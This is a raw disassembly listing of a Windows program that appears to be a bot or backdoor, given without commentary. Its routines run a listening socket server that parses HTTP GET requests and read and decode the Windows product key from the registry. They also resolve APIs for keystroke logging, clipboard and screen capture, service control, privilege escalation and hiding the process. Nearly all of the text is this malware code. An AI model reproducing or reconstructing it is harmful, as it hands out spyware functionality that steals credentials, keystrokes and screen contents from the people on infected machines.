var_34C		= dword	ptr -34Ch
var_340		= byte ptr -340h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2AF0h
		call	sub_40D9A0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+var_6F0]
		rep movsd
		xor	esi, esi
		inc	esi
		push	10h
		mov	[eax+3ACh], esi
		xor	ebx, ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_10], esi
		call	sub_40D7B0
		add	esp, 0Ch
		push	[ebp+var_360]
		mov	[ebp+var_24], 2
		call	dword_4C47DC
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4C4690
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_407BB0
		mov	eax, [ebp+var_358]
		imul	eax, 434h
		mov	dword_422214[eax], edi
		push	10h
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4C4768
		cmp	eax, 0FFFFFFFFh
		jz	loc_407BB0
		push	7FFFFFFFh
		push	edi
		call	dword_4C47B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_407BB0
		lea	eax, [ebp+var_10]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4C4624
		cmp	eax, 0FFFFFFFFh
		jz	loc_407BB0
		push	41h
		pop	ecx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_23C]
		push	ebx
		push	eax
		mov	[ebp+var_124], edi
		mov	[ebp+var_128], esi
		mov	[ebp+var_C], edi
		mov	eax, edi


loc_4078C0:				; CODE XREF: sub_4077DC+3CCj
		inc	eax
		lea	esi, [ebp+var_128]
		lea	edi, [ebp+var_23C]
		push	eax
		rep movsd
		call	dword_4C4734
		cmp	eax, 0FFFFFFFFh
		jz	loc_407BAD
		xor	esi, esi
		mov	[ebp+arg_0], esi


loc_4078E4:				; CODE XREF: sub_4077DC+3B6j
		lea	eax, [ebp+var_23C]
		push	eax
		push	esi
		call	dword_4C46E4
		test	eax, eax
		jz	loc_407B88
		cmp	esi, [ebp+var_8]
		jnz	short loc_407964
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		mov	[ebp+var_14], 10h
		call	dword_4C464C
		cmp	eax, 0FFFFFFFFh
		jz	loc_407B88
		mov	edx, [ebp+var_128]
		xor	ecx, ecx
		cmp	edx, ebx
		jbe	short loc_40793D


loc_40792F:				; CODE XREF: sub_4077DC+15Fj
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_40793D
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40792F


loc_40793D:				; CODE XREF: sub_4077DC+151j
					; sub_4077DC+15Aj
		cmp	ecx, edx
		jnz	short loc_407953
		cmp	edx, 40h
		jnb	short loc_407953
		mov	[ebp+ecx*4+var_124], eax
		inc	[ebp+var_128]


loc_407953:				; CODE XREF: sub_4077DC+163j
					; sub_4077DC+168j
		cmp	eax, [ebp+var_C]
		jbe	loc_407B88
		mov	[ebp+var_C], eax
		jmp	loc_407B88
; ---------------------------------------------------------------------------


loc_407964:				; CODE XREF: sub_4077DC+121j
		mov	edi, 1000h
		push	edi
		lea	eax, [ebp+var_2AF0]
		push	ebx
		push	eax
		call	sub_40D7B0
		push	edi
		lea	eax, [ebp+var_1AF0]
		push	ebx
		push	eax
		call	sub_40D7B0
		add	esp, 18h
		push	ebx
		push	edi
		lea	eax, [ebp+var_2AF0]
		push	eax
		push	esi
		call	dword_4C45F4
		test	eax, eax
		jg	short loc_4079ED
		push	esi
		call	dword_4C479C
		xor	eax, eax
		cmp	[ebp+var_128], ebx
		jbe	loc_407B88


loc_4079B1:				; CODE XREF: sub_4077DC+1E5j
		cmp	[ebp+eax*4+var_124], esi
		jz	short loc_4079D7
		inc	eax
		cmp	eax, [ebp+var_128]
		jb	short loc_4079B1
		jmp	loc_407B88
; ---------------------------------------------------------------------------


loc_4079C8:				; CODE XREF: sub_4077DC+204j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		inc	eax


loc_4079D7:				; CODE XREF: sub_4077DC+1DCj
		mov	ecx, [ebp+var_128]
		dec	ecx
		cmp	eax, ecx
		jb	short loc_4079C8
		dec	[ebp+var_128]
		jmp	loc_407B88
; ---------------------------------------------------------------------------


loc_4079ED:				; CODE XREF: sub_4077DC+1BEj
		push	104h
		lea	eax, [ebp+var_340]
		push	ebx
		push	eax
		call	sub_40D7B0
		lea	eax, [ebp+var_2AF0]
		push	eax
		mov	[ebp+var_4], ebx
		xor	esi, esi
		call	sub_40D630
		add	esp, 10h
		test	eax, eax
		jbe	loc_407B88


loc_407A1B:				; CODE XREF: sub_4077DC+2F7j
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_2AF0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_1AF0], al
		jnz	loc_407ABF
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_1AF0]
		push	esi
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_407A94
		lea	eax, [ebp+var_1AF0]
		push	eax
		call	sub_40D630
		cmp	eax, 5
		pop	ecx
		jbe	short loc_407A94
		mov	eax, offset asc_419D4C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_1AF0]
		push	esi
		push	eax
		call	sub_40D810
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40D810
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40E1DE
		push	eax
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_40D8A0
		add	esp, 10h
		jmp	short loc_407AAB
; ---------------------------------------------------------------------------


loc_407A94:				; CODE XREF: sub_4077DC+26Ej
					; sub_4077DC+280j
		lea	eax, [ebp+var_1AF0]
		push	offset asc_41A920 ; "\r\n"
		push	eax
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_407ADE


loc_407AAB:				; CODE XREF: sub_4077DC+2B6j
		push	edi
		lea	eax, [ebp+var_1AF0]
		push	ebx
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_407ABF:				; CODE XREF: sub_4077DC+252j
		inc	[ebp+var_4]
		lea	eax, [ebp+var_2AF0]
		push	eax
		inc	esi
		call	sub_40D630
		cmp	[ebp+var_4], eax
		pop	ecx
		jb	loc_407A1B
		jmp	loc_407B88
; ---------------------------------------------------------------------------


loc_407ADE:				; CODE XREF: sub_4077DC+2CDj
		mov	ecx, [ebp+var_128]
		xor	eax, eax
		cmp	ecx, ebx
		jbe	short loc_407B1D


loc_407AEA:				; CODE XREF: sub_4077DC+31Dj
		mov	edx, [ebp+eax*4+var_124]
		cmp	edx, [ebp+arg_0]
		jz	short loc_407B12
		inc	eax
		cmp	eax, ecx
		jb	short loc_407AEA
		jmp	short loc_407B1D
; ---------------------------------------------------------------------------


loc_407AFD:				; CODE XREF: sub_4077DC+339j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ecx, [ebp+var_128]
		inc	eax


loc_407B12:				; CODE XREF: sub_4077DC+318j
		dec	ecx
		cmp	eax, ecx
		jb	short loc_407AFD
		dec	[ebp+var_128]


loc_407B1D:				; CODE XREF: sub_4077DC+30Cj
					; sub_4077DC+31Fj
		lea	eax, [ebp+var_464]
		push	eax
		call	sub_40D630
		mov	esi, eax
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_40D630
		add	esi, eax
		cmp	esi, 104h
		pop	ecx
		pop	ecx
		jnb	short loc_407B7F
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		mov	[ebp+var_4], ebx
		call	dword_4C4624
		push	[ebp+var_358]
		lea	eax, [ebp+var_340]
		push	[ebp+var_34C]
		push	eax
		lea	eax, [ebp+var_464]
		push	eax
		push	[ebp+arg_0]
		call	sub_40752D
		add	esp, 14h
		jmp	short loc_407B88
; ---------------------------------------------------------------------------


loc_407B7F:				; CODE XREF: sub_4077DC+365j
		push	[ebp+arg_0]
		call	dword_4C479C


loc_407B88:				; CODE XREF: sub_4077DC+118j
					; sub_4077DC+141j ...
		mov	esi, [ebp+arg_0]
		inc	esi
		cmp	esi, [ebp+var_C]
		mov	[ebp+arg_0], esi
		jbe	loc_4078E4
		push	41h
		pop	ecx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_23C]
		push	ebx
		push	eax
		mov	eax, [ebp+var_C]
		jmp	loc_4078C0
; ---------------------------------------------------------------------------


loc_407BAD:				; CODE XREF: sub_4077DC+FDj
		mov	edi, [ebp+var_8]


loc_407BB0:				; CODE XREF: sub_4077DC+6Aj
					; sub_4077DC+92j ...
		call	dword_4C4748
		push	eax
		lea	eax, [ebp+var_AF0]
		push	offset aErrorShitFaile ; "Error: shit failed, returned:	<%d>."
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+var_350], ebx
		jnz	short loc_407BF5
		push	[ebp+var_354]
		lea	eax, [ebp+var_AF0]
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		push	[ebp+var_6F0]
		call	sub_4017B6
		add	esp, 10h


loc_407BF5:				; CODE XREF: sub_4077DC+3F5j
		lea	eax, [ebp+var_AF0]
		push	eax
		call	sub_401648
		pop	ecx
		push	edi
		call	dword_4C479C
		push	[ebp+var_358]
		call	sub_40AADD
		pop	ecx
		push	ebx
		call	dword_4190D8	; ExitThread
		int	3		; Trap to Debugger
sub_4077DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C1D	proc near		; CODE XREF: sub_40198E+2F6p
					; sub_40198E+CCAp ...

var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_400]
		push	400h
		push	eax
		call	sub_40EB48
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C4724
		leave
		retn
sub_407C1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_407C63	proc near		; CODE XREF: sub_40198E+CFDp

var_B0		= byte ptr -0B0h
var_7C		= byte ptr -7Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 0B0h
		push	esi
		lea	eax, [ebp+70h+var_8]
		push	eax
		push	20019h
		push	3
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		xor	esi, esi
		call	dword_419018	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_407D36
		lea	eax, [ebp+70h+var_C]
		push	eax
		lea	eax, [ebp+70h+var_B0]
		push	eax
		push	esi
		push	esi
		push	offset aDigitalproduct ; "DigitalProductId"
		push	[ebp+70h+var_8]
		mov	[ebp+70h+var_C], 0A4h
		call	dword_419000	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_407D2D
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+70h+arg_4], esi
		push	edi
		setnz	bl
		push	0Fh
		pop	ecx
		lea	esi, [ebp+70h+var_7C]
		lea	edi, [ebp+70h+var_B0]
		rep movsb
		lea	ebx, ds:18h[ebx*4]
		add	ebx, [ebp+70h+arg_0]
		mov	[ebp+70h+var_4], 18h


loc_407CDD:				; CODE XREF: sub_407C63+C3j
		push	0Eh
		xor	eax, eax
		pop	esi


loc_407CE2:				; CODE XREF: sub_407C63+9Aj
		lea	ecx, [ebp+esi+70h+var_B0]
		movzx	edx, byte ptr [ecx]
		shl	eax, 8
		xor	eax, edx
		xor	edx, edx
		push	18h
		pop	edi
		div	edi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		mov	[ecx], al
		mov	eax, edx
		jg	short loc_407CE2
		mov	al, byte_41A92C[eax]
		mov	[ebx], al
		mov	eax, [ebp+70h+var_4]
		push	5
		cdq
		pop	ecx
		idiv	ecx
		dec	ebx
		test	edx, edx
		jnz	short loc_407D23
		cmp	[ebp+70h+var_4], edx
		jle	short loc_407D23
		cmp	[ebp+70h+arg_4], edx
		jz	short loc_407D23
		mov	byte ptr [ebx],	2Dh
		dec	ebx


loc_407D23:				; CODE XREF: sub_407C63+B0j
					; sub_407C63+B5j ...
		dec	[ebp+70h+var_4]
		jns	short loc_407CDD
		xor	esi, esi
		pop	edi
		inc	esi
		pop	ebx


loc_407D2D:				; CODE XREF: sub_407C63+52j
		push	[ebp+70h+var_8]
		call	dword_419014	; RegCloseKey


loc_407D36:				; CODE XREF: sub_407C63+2Bj
		mov	eax, esi
		pop	esi
		add	ebp, 70h
		leave
		retn
sub_407C63	endp


; =============== S U B	R O U T	I N E =======================================



sub_407D3E	proc near		; CODE XREF: sub_404BAB+25p
		push	ebx
		push	ebp
		mov	ebp, dword_419094
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4190F8
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_407E5E
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4C4664, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4C467C, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4C46DC, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4C4634, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4C46A8, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4C4688, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4C472C, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4C460C, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4C46B0, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4C46D4, eax
		call	esi	; GetProcAddress
		cmp	dword_4C4664, ebx
		mov	dword_4C4738, eax
		jz	short loc_407E3C
		cmp	dword_4C467C, ebx
		jz	short loc_407E3C
		cmp	dword_4C46DC, ebx
		jz	short loc_407E3C
		cmp	dword_4C4634, ebx
		jz	short loc_407E3C
		cmp	dword_4C4688, ebx
		jz	short loc_407E3C
		cmp	dword_4C472C, ebx
		jz	short loc_407E3C
		cmp	dword_4C460C, ebx
		jz	short loc_407E3C
		cmp	dword_4C46B0, ebx
		jz	short loc_407E3C
		cmp	dword_4C46D4, ebx
		jz	short loc_407E3C
		cmp	eax, ebx
		jnz	short loc_407E46


loc_407E3C:				; CODE XREF: sub_407D3E+B8j
					; sub_407D3E+C0j ...
		mov	dword_4C47E4, 1


loc_407E46:				; CODE XREF: sub_407D3E+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4C478C, eax
		jz	short loc_407E73
		push	1
		push	ebx
		call	eax
		jmp	short loc_407E73
; ---------------------------------------------------------------------------


loc_407E5E:				; CODE XREF: sub_407D3E+1Dj
		call	dword_4190AC	; RtlGetLastWin32Error
		mov	dword_4C47E8, eax
		mov	dword_4C47E4, 1


loc_407E73:				; CODE XREF: sub_407D3E+117j
					; sub_407D3E+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4190F0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407F88
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4C4750, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4C46E8, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4C4614, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4C4684, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4C462C, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4C47C0, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4C4610, eax
		call	esi	; GetProcAddress
		cmp	dword_4C4750, ebx
		mov	dword_4C4728, eax
		jz	short loc_407F2C
		cmp	dword_4C46E8, ebx
		jz	short loc_407F2C
		cmp	dword_4C4614, ebx
		jz	short loc_407F2C
		cmp	dword_4C4684, ebx
		jz	short loc_407F2C
		cmp	dword_4C462C, ebx
		jz	short loc_407F2C
		cmp	dword_4C47C0, ebx
		jz	short loc_407F2C
		cmp	dword_4C4610, ebx
		jz	short loc_407F2C
		cmp	eax, ebx
		jnz	short loc_407F36


loc_407F2C:				; CODE XREF: sub_407D3E+1B8j
					; sub_407D3E+1C0j ...
		mov	dword_4C47EC, 1


loc_407F36:				; CODE XREF: sub_407D3E+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4C4630, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4C47B0, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4C4640, eax
		call	esi	; GetProcAddress
		cmp	dword_4C4630, ebx
		mov	dword_4C4650, eax
		jz	short loc_407F93
		cmp	dword_4C47B0, ebx
		jz	short loc_407F93
		cmp	dword_4C4640, ebx
		jz	short loc_407F93
		cmp	eax, ebx
		jnz	short loc_407F9D
		jmp	short loc_407F93
; ---------------------------------------------------------------------------


loc_407F88:				; CODE XREF: sub_407D3E+144j
		call	dword_4190AC	; RtlGetLastWin32Error
		mov	dword_4C47F0, eax


loc_407F93:				; CODE XREF: sub_407D3E+232j
					; sub_407D3E+23Aj ...
		mov	dword_4C47EC, 1


loc_407F9D:				; CODE XREF: sub_407D3E+246j
		push	offset aUserenv_dll ; "userenv.dll"
		call	dword_4190F0	; LoadLibraryA
		cmp	eax, ebx
		jz	short loc_407FBF
		push	offset aGetuserprofile ; "GetUserProfileDirectoryA"
		push	eax
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4C47E0, eax
		jnz	short loc_407FD4
		jmp	short loc_407FCA
; ---------------------------------------------------------------------------


loc_407FBF:				; CODE XREF: sub_407D3E+26Cj
		call	dword_4190AC	; RtlGetLastWin32Error
		mov	dword_4C4850, eax


loc_407FCA:				; CODE XREF: sub_407D3E+27Fj
		mov	dword_4C484C, 1


loc_407FD4:				; CODE XREF: sub_407D3E+27Dj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40816F
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4C47BC, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4C46D8, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4C4670, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4C4648, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4C46CC, eax
		call	esi	; GetProcAddress
		cmp	dword_4C47BC, ebx
		mov	dword_4C476C, eax
		jz	short loc_40805F
		cmp	dword_4C46D8, ebx
		jz	short loc_40805F
		cmp	dword_4C4670, ebx
		jz	short loc_40805F
		cmp	dword_4C4648, ebx
		jz	short loc_40805F
		cmp	dword_4C46CC, ebx
		jz	short loc_40805F
		cmp	eax, ebx
		jnz	short loc_408069


loc_40805F:				; CODE XREF: sub_407D3E+2FBj
					; sub_407D3E+303j ...
		mov	dword_4C47F4, 1


loc_408069:				; CODE XREF: sub_407D3E+31Fj
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4C47C8, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4C47AC, eax
		call	esi	; GetProcAddress
		cmp	dword_4C47C8, ebx
		mov	dword_4C46F8, eax
		jz	short loc_4080A4
		cmp	dword_4C47AC, ebx
		jz	short loc_4080A4
		cmp	eax, ebx
		jnz	short loc_4080AE


loc_4080A4:				; CODE XREF: sub_407D3E+358j
					; sub_407D3E+360j
		mov	dword_4C47F4, 1


loc_4080AE:				; CODE XREF: sub_407D3E+364j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4C474C, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4C47CC, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4C4754, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4C4770, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4C4680, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4C46C0, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4C475C, eax
		call	esi	; GetProcAddress
		cmp	dword_4C474C, ebx
		mov	dword_4C4788, eax
		jz	short loc_408152
		cmp	dword_4C47CC, ebx
		jz	short loc_408152
		cmp	dword_4C4754, ebx
		jz	short loc_408152
		cmp	dword_4C4770, ebx
		jz	short loc_408152
		cmp	dword_4C4680, ebx
		jz	short loc_408152
		cmp	dword_4C46C0, ebx
		jz	short loc_408152
		cmp	dword_4C475C, ebx
		jz	short loc_408152
		cmp	eax, ebx
		jnz	short loc_40815C


loc_408152:				; CODE XREF: sub_407D3E+3DEj
					; sub_407D3E+3E6j ...
		mov	dword_4C47F4, 1


loc_40815C:				; CODE XREF: sub_407D3E+412j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4C4720, eax
		jnz	short loc_408184
		jmp	short loc_40817A
; ---------------------------------------------------------------------------


loc_40816F:				; CODE XREF: sub_407D3E+2A1j
		call	dword_4190AC	; RtlGetLastWin32Error
		mov	dword_4C47F8, eax


loc_40817A:				; CODE XREF: sub_407D3E+42Fj
		mov	dword_4C47F4, 1


loc_408184:				; CODE XREF: sub_407D3E+42Dj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408250
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4C47D0, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4C47A0, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4C4708, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4C4700, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4C4744, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4C461C, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4C4718, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4C46BC, eax
		call	esi	; GetProcAddress
		cmp	dword_4C47D0, ebx
		mov	dword_4C470C, eax
		jz	short loc_40825B
		cmp	dword_4C47A0, ebx
		jz	short loc_40825B
		cmp	dword_4C4708, ebx
		jz	short loc_40825B
		cmp	dword_4C4700, ebx
		jz	short loc_40825B
		cmp	dword_4C4744, ebx
		jz	short loc_40825B
		cmp	dword_4C461C, ebx
		jz	short loc_40825B
		cmp	dword_4C4718, ebx
		jz	short loc_40825B
		cmp	dword_4C46BC, ebx
		jz	short loc_40825B
		cmp	eax, ebx
		jnz	short loc_408265
		jmp	short loc_40825B
; ---------------------------------------------------------------------------


loc_408250:				; CODE XREF: sub_407D3E+451j
		call	dword_4190AC	; RtlGetLastWin32Error
		mov	dword_4C4800, eax


loc_40825B:				; CODE XREF: sub_407D3E+4D2j
					; sub_407D3E+4DAj ...
		mov	dword_4C47FC, 1


loc_408265:				; CODE XREF: sub_407D3E+50Ej
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	dword_4190F0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40862E
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4C46A0, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4C4604, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4C471C, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4C46E4, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4C4764, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4C4748, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4C47A8, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4C4690, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4C4624, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4C463C, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4C4710, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4C4704, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4C47DC, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4C47B8, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4C4784, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4C4760, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4C4724, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4C465C, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4C45F4, eax
		call	esi	; GetProcAddress
		mov	dword_4C4618, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4C4768, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4C4734, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4C47B4, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4C464C, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4C46AC, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4C45F8, eax
		call	esi	; GetProcAddress
